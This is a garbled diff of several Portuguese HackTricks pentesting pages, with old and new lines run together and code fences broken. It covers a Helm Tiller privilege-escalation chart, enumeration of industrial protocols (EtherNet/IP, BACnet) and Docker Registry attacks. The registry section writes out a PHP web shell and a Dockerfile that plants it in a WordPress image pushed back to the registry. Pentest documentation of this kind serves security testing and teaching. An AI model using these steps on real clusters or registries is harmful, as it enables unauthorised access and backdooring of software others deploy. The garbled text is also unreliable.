Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo no cluster inteiro**. Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo no cluster inteiro.**
``` ```
git clone https://github.com/Ruil1n/helm-tiller-pwn git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart /pwnchart
``` ```
Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo dados ao token padrão**. Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo dados ao token padrão**.
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>

View file

@ -1,16 +1,15 @@
```markdown
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
@ -19,79 +18,20 @@
Do artigo da Wikipedia sobre EtherNet/IP [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP) Do artigo da Wikipedia sobre EtherNet/IP [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP)
> O EtherNet/IP foi desenvolvido no final dos anos 1990 pela Rockwell Automation como parte das soluções de rede Ethernet industrial da Rockwell. A Rockwell deu ao EtherNet/IP seu apelido e o entregou à ODVA, que agora gerencia o protocolo e garante a interoperabilidade de sistemas de vários fornecedores, exigindo a adesão a padrões estabelecidos sempre que novos produtos que utilizam o protocolo são desenvolvidos hoje. > EtherNet/IP foi desenvolvido no final dos anos 90 pela Rockwell Automation como parte das soluções de rede Ethernet industrial da Rockwell. A Rockwell deu o nome EtherNet/IP e o entregou à ODVA, que agora gerencia o protocolo e assegura a interoperabilidade de sistemas multi-fabricantes exigindo a adesão a padrões estabelecidos sempre que novos produtos que utilizam o protocolo são desenvolvidos hoje.
> O EtherNet/IP é mais comumente usado em sistemas de controle de automação industrial, como para plantas de processamento de água, instalações de manufatura e utilidades. Vários fornecedores de sistemas de controle desenvolveram controladores de automação programáveis e E/S capazes de se comunicar via EtherNet/IP. > EtherNet/IP é mais comumente usado em sistemas de controle de automação industrial, como para plantas de processamento de água, instalações de fabricação e utilidades. Vários fornecedores de sistemas de controle desenvolveram controladores de automação programáveis e I/O capazes de se comunicar via EtherNet/IP.
Um dispositivo EtherNet/IP é identificado positivamente consultando TCP/44818 com uma mensagem de lista de identidades (0x63). As mensagens de resposta determinarão se é um dispositivo EtherNet/IP e analisarão as informações para enumerar o dispositivo.\ Um dispositivo EtherNet/IP é positivamente identificado ao consultar o TCP/44818 com uma mensagem de listagem de identidades (0x63). As mensagens de resposta determinarão se é um dispositivo EtherNet/IP e analisarão as informações para enumerar o dispositivo.\
De [aqui](https://github.com/digitalbond/Redpoint) De [aqui](https://github.com/digitalbond/Redpoint)
**Porta padrão:** 44818 UDP/TCP **Porta padrão:** 44818 UDP/TCP
``` ```
```
PORT STATE SERVICE PORT STATE SERVICE
44818/tcp open EtherNet/IP 44818/tcp open EtherNet/IP
``` ```
# Enumeração # **Enumeração**
## **Discovering EIP Devices**
## **Descobrindo Dispositivos EIP**
### **NMAP**
### **NMAP**
Nmap can be used to discover EIP devices in the network. The following command can be used to scan for EIP devices:
Nmap pode ser usado para descobrir dispositivos EIP na rede. O seguinte comando pode ser usado para escanear dispositivos EIP:
```
nmap -sU -p 44818 --script=enip-info <target>
```
### **Metasploit**
### **Metasploit**
Metasploit also has a module to discover EIP devices. The following command can be used to scan for EIP devices:
Metasploit também possui um módulo para descobrir dispositivos EIP. O seguinte comando pode ser usado para escanear dispositivos EIP:
```
use auxiliary/scanner/enip/enip_info
set RHOSTS <target>
run
```
## **Enumerating EIP Devices**
## **Enumerando Dispositivos EIP**
### **NMAP**
### **NMAP**
Nmap can also be used to enumerate EIP devices. The following command can be used to enumerate EIP devices:
Nmap também pode ser usado para enumerar dispositivos EIP. O seguinte comando pode ser usado para enumerar dispositivos EIP:
```
nmap -sU -p 44818 --script=enip-enumerate <target>
```
### **Metasploit**
### **Metasploit**
Metasploit also has a module to enumerate EIP devices. The following command can be used to enumerate EIP devices:
Metasploit também possui um módulo para enumerar dispositivos EIP. O seguinte comando pode ser usado para enumerar dispositivos EIP:
```
use auxiliary/scanner/enip/enip_enumerate
set RHOSTS <target>
run
```
```bash ```bash
nmap -n -sV --script enip-info -p 44818 <IP> nmap -n -sV --script enip-info -p 44818 <IP>
pip3 install cpppo pip3 install cpppo
@ -101,19 +41,16 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
* `port:44818 "nome do produto"` * `port:44818 "nome do produto"`
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,11 +1,28 @@
```markdown
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações do Protocolo # Informações do Protocolo
**BACnet** é um [protocolo de comunicação](https://en.wikipedia.org/wiki/Communications_protocol) para redes de Automação e Controle de Edifícios (BAC) que utiliza o protocolo padrão [ASHRAE](https://en.wikipedia.org/wiki/ASHRAE), [ANSI](https://en.wikipedia.org/wiki/ANSI) e [ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1). **BACnet** é um [protocolo de comunicação](https://en.wikipedia.org/wiki/Communications_protocol) para redes de Automação e Controle de Edifícios \(BAC\) que utiliza o padrão [ASHRAE](https://en.wikipedia.org/wiki/ASHRAE), [ANSI](https://en.wikipedia.org/wiki/ANSI) e [ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1).
O BACnet foi projetado para permitir a comunicação de sistemas de automação e controle de edifícios para aplicações como controle de aquecimento, ventilação e ar-condicionado (HVAC), controle de iluminação, controle de acesso e sistemas de detecção de incêndio e seus equipamentos associados. O protocolo BACnet fornece mecanismos para dispositivos de automação predial informatizados trocarem informações, independentemente do serviço de construção específico que eles executam. O BACnet foi projetado para permitir a comunicação de sistemas de [automação de edifícios](https://en.wikipedia.org/wiki/Building_automation) e controle para aplicações como controle de aquecimento, ventilação e ar-condicionado \([HVAC](https://en.wikipedia.org/wiki/HVAC)\), controle de iluminação, controle de acesso e sistemas de detecção de incêndio e seus equipamentos associados. O protocolo BACnet fornece mecanismos para que dispositivos automatizados de edifícios troquem informações, independentemente do serviço específico que realizam.
De [Wikipedia](https://en.wikipedia.org/wiki/BACnet) De [Wikipedia](https://en.wikipedia.org/wiki/BACnet)
**Porta padrão:** 47808 **Porta padrão:** 47808
```
```text ```text
PORT STATE SERVICE PORT STATE SERVICE
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate 47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
@ -27,27 +44,25 @@ bacnet.vendorName.strValue
```bash ```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP> nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
``` ```
Este script não tenta se juntar a uma rede BACnet como um dispositivo estrangeiro, ele simplesmente envia solicitações BACnet diretamente para um dispositivo com endereço IP. Este script não tenta se juntar a uma rede BACnet como um dispositivo estrangeiro, ele simplesmente envia solicitações BACnet diretamente para um dispositivo endereçável por IP.
## Shodan ## Shodan
* `port:47808 instance` * `port:47808 instance`
* `"ID da instância" "Nome do fornecedor"` * `"Instance ID" "Vendor Name"`
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,45 +1,34 @@
## 5000 - Teste de penetração no Docker Registry # 5000 - Pentesting Docker Registry
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
## Informações básicas ## Informações Básicas
**Informações retiradas da** [**qui**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** **Informações de** [**aqui**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
Um **registro Docker** é um sistema de armazenamento e distribuição para imagens Docker nomeadas. A mesma imagem pode ter várias versões diferentes, identificadas por suas tags.\ Um **Docker registry** é um sistema de armazenamento e distribuição para imagens Docker nomeadas. A mesma imagem pode ter várias versões diferentes, identificadas por suas tags.\
Um registro Docker é organizado em **repositórios Docker**, onde um repositório contém todas as versões de uma imagem específica. O registro permite que os usuários do Docker baixem imagens localmente, bem como enviem novas imagens para o registro (dadas as permissões de acesso adequadas, quando aplicável). Um Docker registry é organizado em **Docker repositories**, onde um repositório contém todas as versões de uma imagem específica. O registro permite que usuários Docker puxem imagens localmente, bem como enviem novas imagens para o registro (dado que tenham permissões de acesso adequadas quando aplicável).
Por padrão, o mecanismo Docker interage com o **DockerHub**, a instância pública do registro do Docker. No entanto, é possível executar localmente o registro/distribuição Docker de código aberto, bem como uma versão com suporte comercial chamada **Docker Trusted Registry**. Existem outros registros públicos disponíveis online. Por padrão, o motor Docker interage com o **DockerHub**, a instância pública de registro do Docker. No entanto, é possível executar localmente o registro/distribuição Docker de código aberto, bem como uma versão comercialmente suportada chamada **Docker Trusted Registry**. Existem outros registros públicos disponíveis online.
Para baixar uma imagem de um registro local, você pode executar um comando semelhante a: Para puxar uma imagem de um registro local, você poderia executar um comando semelhante a:
``` ```
docker pull my-registry:9000/foo/bar:2.1 docker pull my-registry:9000/foo/bar:2.1
``` ```
Se você deseja puxar a versão da imagem `foo/bar` com a tag `2.1` do nosso registro localizado no domínio `my-registry` e na porta `9000`, você pode executar o seguinte comando: onde você puxa a versão da imagem `foo/bar` com a tag `2.1` do nosso registro localizado no domínio `my-registry`, porta `9000`.\
Se você usasse o DockerHub em vez disso, e 2.1 também fosse a versão mais recente, você poderia executar este comando para puxar a mesma imagem localmente:
```
docker pull my-registry:9000/foo/bar:2.1
```
Se você estivesse usando o DockerHub e a versão `2.1` também fosse a mais recente, você poderia executar este comando para puxar a mesma imagem localmente:
```
docker pull foo/bar:2.1
```
``` ```
docker pull foo/bar docker pull foo/bar
``` ```
@ -50,20 +39,20 @@ PORT STATE SERVICE VERSION
``` ```
## Descoberta ## Descoberta
A maneira mais fácil de descobrir se este serviço está em execução é encontrá-lo na saída do nmap. De qualquer forma, observe que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará.\ A maneira mais fácil de descobrir esse serviço em execução é obtê-lo na saída do nmap. De qualquer forma, observe que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará.
Algumas impressões digitais: Algumas impressões digitais:
* Se você acessar `/`, nada será retornado na resposta * Se você acessar `/`, nada é retornado na resposta
* Se você acessar `/v2/`, então `{}` é retornado * Se você acessar `/v2/`, então `{}` é retornado
* Se você acessar `/v2/_catalog`, você pode obter: * Se você acessar `/v2/_catalog`, você pode obter:
* `{"repositories":["alpine","ubuntu"]}` * `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"autenticação requerida","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## Enumeração ## Enumeração
### HTTP/HTTPS ### HTTP/HTTPS
O registro do Docker pode ser configurado para usar **HTTP** ou **HTTPS**. Então, a primeira coisa que você pode precisar fazer é **descobrir qual** está sendo configurado: O Docker registry pode ser configurado para usar **HTTP** ou **HTTPS**. Então, a primeira coisa que você pode precisar fazer é **descobrir qual deles** está sendo configurado:
```bash ```bash
curl -s http://10.10.10.10:5000/v2/_catalog curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS #If HTTPS
@ -76,7 +65,7 @@ Warning: <FILE>" to save to a file.
``` ```
### Autenticação ### Autenticação
O registro do Docker também pode ser configurado para exigir **autenticação**: O Docker registry também pode ser configurado para exigir **autenticação**:
```bash ```bash
curl -k https://192.25.197.3:5000/v2/_catalog curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required #If Authentication required
@ -84,14 +73,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required #If no authentication required
{"repositories":["alpine","ubuntu"]} {"repositories":["alpine","ubuntu"]}
``` ```
Se o Docker Registry estiver exigindo autenticação, você pode **tentar forçar a entrada usando isso** (../generic-methodologies-and-resources/brute-force.md#docker-registry).\ Se o Docker Registry estiver exigindo autenticação, você pode [**tentar forçar a entrada usando isto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Se você encontrar credenciais válidas, precisará usá-las** para enumerar o registro, no `curl` você pode usá-las assim: **Se você encontrar credenciais válidas, precisará usá-las** para enumerar o registro, no `curl` você pode usá-las assim:
```bash ```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
``` ```
### Enumeração usando DockerRegistryGrabber ### Enumeração usando DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / despejar registros do docker (com ou sem autenticação básica). [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / extrair registros do docker (sem ou com autenticação básica)
```bash ```bash
python3 DockerGraber.py http://127.0.0.1 --list python3 DockerGraber.py http://127.0.0.1 --list
@ -130,7 +119,7 @@ python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
``` ```
### Enumeração usando curl ### Enumeração usando curl
Uma vez que você **obteve acesso ao registro do Docker**, aqui estão alguns comandos que você pode usar para enumerá-lo: Uma vez que você **obteve acesso ao registro do docker**, aqui estão alguns comandos que você pode usar para enumerá-lo:
```bash ```bash
#List repositories #List repositories
curl -s http://10.10.10.10:5000/v2/_catalog curl -s http://10.10.10.10:5000/v2/_catalog
@ -194,7 +183,7 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Observe que, ao baixar e descompactar os arquivos blobs, arquivos e pastas aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles sobrescreverão os valores dos blobs previamente descompactados**, portanto, tenha cuidado. Pode ser interessante descompactar cada blob em uma pasta diferente para inspecionar o conteúdo exato de cada blob. Observe que ao baixar e descomprimir os arquivos blobs, arquivos e pastas aparecerão no diretório atual. **Se você baixar todos os blobs e descomprimi-los na mesma pasta, eles sobrescreverão valores dos blobs previamente descomprimidos**, portanto, tenha cuidado. Pode ser interessante descomprimir cada blob dentro de uma pasta diferente para inspecionar o conteúdo exato de cada blob.
{% endhint %} {% endhint %}
### Enumeração usando docker ### Enumeração usando docker
@ -216,38 +205,36 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
``` ```
### Inserindo backdoor em imagem do WordPress ### Inserindo Backdoor em imagem WordPress
No cenário em que você encontrou um Docker Registry salvando uma imagem do WordPress, você pode inserir um backdoor.\ No cenário em que você encontrou um Docker Registry armazenando uma imagem wordpress, você pode inserir um backdoor.\
**Crie** o **backdoor**: **Crie** o **backdoor**:
{% code title="shell.php" %} {% code title="shell.php" %}
```bash ```bash
<?php echo shell_exec($_GET["cmd"]); ?> <?php echo shell_exec($_GET["cmd"]); ?>
``` ```
{% endcode %} ```markdown
Crie um **Dockerfile**: Crie um **Dockerfile**:
{% code title="Dockerfile" %} {% code title="Dockerfile" %}
```
```bash ```bash
FROM 10.10.10.10:5000/wordpress FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/ COPY shell.php /app/
RUN chmod 777 /app/shell.php RUN chmod 777 /app/shell.php
``` ```
{% endcode %} **Crie** a nova imagem, **verifique** se ela foi criada e **envie**-a:
**Crie** a nova imagem, **verifique** se ela foi criada e **envie** a imagem:
```bash ```bash
docker build -t 10.10.10.10:5000/wordpress . docker build -t 10.10.10.10:5000/wordpress .
#Create #Create
docker images docker images
docker push registry:5000/wordpress #Push it docker push registry:5000/wordpress #Push it
``` ```
### Inserindo backdoor na imagem do servidor SSH ### Inserindo backdoor em imagem de servidor SSH
Suponha que você tenha encontrado um Docker Registry com uma imagem SSH e deseja inserir um backdoor nela.\ Suponha que você encontrou um Docker Registry com uma imagem SSH e você quer inserir um backdoor nela.\
**Baixe** a imagem e **execute**: **Baixe** a imagem e **execute-a**:
```bash ```bash
